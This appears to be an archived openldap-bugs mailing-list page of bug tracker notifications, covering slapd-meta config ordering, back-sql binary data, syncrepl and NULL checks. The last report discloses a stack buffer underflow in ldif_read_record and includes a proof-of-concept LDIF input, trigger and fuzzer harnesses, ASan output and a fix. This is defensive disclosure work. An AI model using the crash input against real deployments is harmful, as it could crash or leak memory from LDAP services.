openldap-bugs

openldap-bugs@openldap.org

1 participants
21153 discussions

[Issue 10383] New: slapd-meta ignores olcDbIDAssertBind if olcDbURI defined after it
by openldap-its＠openldap.org 10 Feb '26

10 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10383 Issue ID: 10383 Summary: slapd-meta ignores olcDbIDAssertBind if olcDbURI defined after it Product: OpenLDAP Version: 2.6.9 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: david.frickert(a)protonmail.com Target Milestone: --- Hi, We are using slapd-meta to connect an OpenLDAP server to another external LDAP server and it works well on first configuration. However, if we want to update any info, e.g. the external LDAP URI, we must replace the olcDbURI attribute. This means that the ordering of the attributes change and this attribute is now defined after olcDbIDAssertBind. Didn't think this would be important, but after this change the "meta" connection stops working and upon enabling debugging i can see that the external LDAP server is responding with: "ldap_bind: Inappropriate authentication (48) additional info: Anonymous Simple Bind Disabled" This seems to imply that the olcDbIDAssertBind attribute is being ignored, likely due to being defined before olcDbURI (my assumption). Is this intended? If so, what can we do to mitigate this problem? Do we need to perform a replace on all attributes of the object to ensure correct ordering, or is there any way to perform an in-place attribute modification without making it shift its position in the object? Example: First configuration (OK): # {0}uri, {2}meta, config dn: olcMetaSub={0}uri,olcDatabase={2}meta,cn=config objectClass: olcMetaTargetConfig olcMetaSub: {0}uri --> olcDbURI: ldap://REDACTED/ou=users,REDACTED olcDbIDAssertBind: bindmethod=simple starttls=yes tls_reqcert=demand binddn="REDACTED" credentials="REDACTED" olcDbRewrite: {0}suffixmassage REDACTED REDACTED olcDbKeepalive: 0:0:0 olcDbBindTimeout: 100000 olcDbCancel: abandon After URI update (NOK): # {0}uri, {2}meta, config dn: olcMetaSub={0}uri,olcDatabase={2}meta,cn=config objectClass: olcMetaTargetConfig olcMetaSub: {0}uri olcDbIDAssertBind: bindmethod=simple starttls=yes tls_reqcert=demand binddn="REDACTED" credentials="REDACTED" olcDbRewrite: {0}suffixmassage REDACTED REDACTED olcDbKeepalive: 0:0:0 olcDbBindTimeout: 100000 olcDbCancel: abandon --> olcDbURI: ldap://REDACTED/ou=users,REDACTED The olcDbURI attribute is shifted to the bottom after a modify operation, and seems to cause these issues. Best Regards, David -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10162] New: Fix for binary attributes data corruption in back-sql
by openldap-its＠openldap.org 10 Feb '26

10 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10162 Issue ID: 10162 Summary: Fix for binary attributes data corruption in back-sql Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: dex.tracers(a)gmail.com Target Milestone: --- Created attachment 1006 --> https://bugs.openldap.org/attachment.cgi?id=1006&action=edit Fix for binary attributes corruption on backed-sql I've configured slapd to use back-sql (mariadb through odbc) and observed issues with the BINARY data retrievals from the database. The length of the attributes was properly reported, but the correct data inside was always 16384 bytes and after that point - some junk (usually filled-up with AAAAAAAA and some other attributes data from memory). During the debugging - I've noticed that: - The MAX_ATTR_LEN (16384 bytes) is used to set the length of the data for BINARY columns when SQLBindCol is done inside of the "backsql_BindRowAsStrings_x" function - After SQLFetch is done - data in row->cols[i] is fetched up to the specified MAX_ATTR_LEN - After SQLFetch is done - the correct data size (greater than MAX_ATTR_LEN) is represented inside of the row->value_len I'm assuming that slapd allocates the pointer in memory (row->cols[i]), fills it with the specified amount of data (MAX_ATTR_LEN), but when forming the actual attribute data - uses the length from row->value_len and so everything from 16384 bytes position till row->value_len is just a junk from the memory (uninitialized, leftovers, data from other variables). After an investigation, I've find-out that: - for BINARY or variable length fields - SQLGetData should be used - SQLGetData supports chunked mode (if length is unknown) or full-read mode if the length is known - it could be used in pair with SQLBindCol after SQLFetch (!) Since we have the correct data length inside of row->value_len, I've just added the code to the backsql_get_attr_vals() function to overwrite the corrupted data with the correct data by issuing SQLGetData request. And it worked - binary data was properly retrieved and reported over LDAP! My current concerns / help needed - I'm not very familiar with the memory allocation/deallocation mechanisms, so I'm afraid that mentioned change can lead to memory corruption (so far not observed). Please review attached patch (testing was done on OPENLDAP_REL_ENG_2_5_13, and applied on the master branch for easier review/application). -- You are receiving this mail because: You are on the CC list for the issue.

1 12

[Issue 10026] New: Refresh handling can skip entries (si_dirty not managed properly)
by openldap-its＠openldap.org 10 Feb '26

10 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10026 Issue ID: 10026 Summary: Refresh handling can skip entries (si_dirty not managed properly) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Take MPR plain syncrepl with 3+ providers. When a provider's own syncrepl session transitions to persist and a it starts a new parallel session towards another host, that session always has to start as a refresh. If that refresh serves entries to us, our handling of si_dirty is not consistent: - if the existing persist session serves some of these entries to us, we can "forget" to pass the others to a newly connected consumer - same if the refresh is abandoned and we start refreshing from a different provider that might be behind what we were being served (again our consumers could suffer) - if we restart, si_dirty is forgotten and our consumers suffer even worse We might need to be told (at the beginning of the refresh?) what the end state we're going for is, so we can keep si_dirty on until then. And somehow persist that knowledge in the DB... -- You are receiving this mail because: You are on the CC list for the issue.

1 21

[Issue 10439] New: The value of the mc_xcursor pointer in the context of calling the mdb_xcursor_init1() function
by openldap-its＠openldap.org 10 Feb '26

10 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10439 Issue ID: 10439 Summary: The value of the mc_xcursor pointer in the context of calling the mdb_xcursor_init1() function Product: OpenLDAP Version: 2.6.12 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: mishtitov(a)gmail.com Target Milestone: --- Problem occurs in functions `mdb_cursor_first()`, `mdb_cursor_last()` and `mdb_cursor_set()`. After having been compared to a NULL value, pointer 'mc->mc_xcursor' is passed in call to function 'mdb_xcursor_init1()` where it is dereferenced. This might happen when the node flag `F_DUPDATA` is set, but the database does not have the `MDB_DUPSORT` flag, leading to `mc->mc_xcursor` being uninitialized. I think that this is very unlikely to happen, but I haven't found a clear connection between the `F_DUPDATA` and `MDB_DUPSORT` flags. Please consider wheter if it's worth adding a NULL check there. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 10452] New: Potential NULL dereference in slap_acl_mask()
by openldap-its＠openldap.org 10 Feb '26

10 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10452 Issue ID: 10452 Summary: Potential NULL dereference in slap_acl_mask() Product: OpenLDAP Version: 2.6.8 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: nastentsiya.filimonova(a)gmail.com Target Milestone: --- I've noticed potentially inconsistent NULL checks for the op->o_conn field in function slap_acl_mask (source file openldap-2.6.8/servers/slapd/acl.c). At first, op->o_conn is explicitly checked for NULL: if ( op->o_conn && !BER_BVISNULL( &op->o_conn->c_ndn ) ) { ndn = op->o_conn->c_ndn; } else { ndn = op->o_ndn; } This suggests that op->o_conn may indeed be NULL in some scenarios. However, right after that in the same function there are several unconditional dereferences of op->o_conn without a preceding NULL check, for example: if ( !op->o_conn->c_listener ) { continue; } if ( !op->o_conn->c_peer_domain.bv_val ) { continue; } if ( !op->o_conn->c_peer_name.bv_val ) { continue; } Could you please clarify whether op->o_conn is guaranteed to be non-NULL for all possible paths reaching these code sections? If op->o_conn can indeed be NULL here, these dereferences may lead to a NULL pointer dereference and would require additional checks. If op->o_conn is guaranteed to be non-NULL by design, please confirm this (it would also be useful to document this assumption explicitly). Thank you. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 6104] race condition with cancel operation
by openldap-its＠openldap.org 06 Feb '26

06 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=6104 Howard Chu <hyc(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |kangyang126(a)gmail.com --- Comment #16 from Howard Chu <hyc(a)openldap.org> --- *** Issue 10444 has been marked as a duplicate of this issue. *** -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6104] race condition with cancel operation
by openldap-its＠openldap.org 06 Feb '26

06 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=6104 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10444 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10358] New: syncrepl can revert an entry's CSN
by openldap-its＠openldap.org 04 Feb '26

04 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10358 Issue ID: 10358 Summary: syncrepl can revert an entry's CSN Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Created attachment 1080 --> https://bugs.openldap.org/attachment.cgi?id=1080&action=edit Debug log of an instance of this happening There is a sequence of operations which can force a MPR node to apply changes out of order (essentially reverting an operation). Currently investigating which part of the code that should have prevented this has let it slip. A sample log showing how this happened is attached. -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 6916] slapo-unique returns operations error when assertion control is used
by openldap-its＠openldap.org 04 Feb '26

04 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=6916 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10440 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10431] New: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read
by openldap-its＠openldap.org 30 Jan '26

30 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10431 Issue ID: 10431 Summary: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: zesheng(a)tamu.edu Target Milestone: --- # Summary A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()` function allows an attacker to trigger out-of-bounds memory reads when processing malformed LDIF data, potentially leading to information disclosure or crashes. ## Root Cause The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When `fgets()` returns NULL and sets `len = 0`, the loop increment expression `last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow. ### Vulnerable Code (ldif.c:799-803) ```c int ldif_read_record( LDIFFP *lfp, unsigned long *lno, char **bufp, int *buflenp ) { char line[LDIF_MAXLINE], *nbufp; // line buffer starts at offset 32 ber_len_t lcur = 0, len; int last_ch = '\n', found_entry = 0, stop, top_comment = 0; for ( stop = 0; !stop; last_ch = line[len-1] ) { // BUG: when len=0, accesses line[-1] // ... if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) { // ... stop = 1; len = 0; // len is set to 0 here } // ... } // At loop increment: line[len-1] = line[-1] = UNDERFLOW! } ``` ## PoC ### Trigger file A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow: ``` hexdump -C poc: 00000000 00 00 00 00 01 00 00 00 64 74 65 21 73 74 2c 64 |........dte!st,d| 00000010 63 3d ff 65 78 64 63 73 74 77 6f |c=.exdcstwo| ``` ### How to generate poc ```python # generate_poc.py data = bytes([ 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64, 0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73, 0x74, 0x77, 0x6f ]) with open("poc", "wb") as f: f.write(data) ``` --- ## Trigger Method 1: Direct API Call ```c // test_ldif.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h> int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET); char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f); LDIFFP *fp = ldif_open_mem(input, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; // This triggers the vulnerability ldif_read_record(fp, &lineno, &buf, &buflen); if (buf) ber_memfree(buf); ldif_close(fp); } free(input); return 0; } ``` **Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make # Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_ldif.c -o test_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs ./test_ldif ``` **Output:** ``` ==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x7fff... thread T0 #0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37 Address 0x7fff... is located in stack of thread T0 at offset 31 in frame #0 0x... in ldif_read_record libraries/libldap/ldif.c:798 This frame has 1 object(s): [32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this variable SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in ldif_read_record ``` --- ## Trigger Method 2: Fuzzer ```c // fuzz_ldif.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h> int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 65536) return 0; char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0'; char *mem_copy = (char *)malloc(size + 1); if (mem_copy) { memcpy(mem_copy, data, size); mem_copy[size] = '\0'; LDIFFP *fp = ldif_open_mem(mem_copy, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; int count = 0; while (count < 100) { int rc = ldif_read_record(fp, &lineno, &buf, &buflen); if (rc <= 0) break; count++; } if (buf) ber_memfree(buf); ldif_close(fp); } free(mem_copy); } free(input); return 0; } ``` **Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_ldif.c -o fuzz_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs mkdir corpus && cp poc corpus/ ./fuzz_ldif corpus/ ``` --- ## Impact | Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious LDIF file | | **Affected Components** | `ldif_read_record()`, libldap | | **Affected Applications** | Any application using libldap to parse LDIF (slapadd, ldapmodify, custom apps) | | **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) | --- ## Suggested Fix Add a check to ensure `len > 0` before accessing `line[len-1]`: ```c for ( stop = 0; !stop; ) { // ... existing code ... // At end of loop body, before continuing: if (len > 0) { last_ch = line[len-1]; } // Or move len=0 case handling before the loop increment } ``` Alternative fix - initialize `len` to a safe value and guard the access: ```c for ( stop = 0; !stop; last_ch = (len > 0) ? line[len-1] : '\n' ) { ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 6

← Newer
1
2
3
4
5
6
7
8
...
2116
Older →

Jump to page:

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs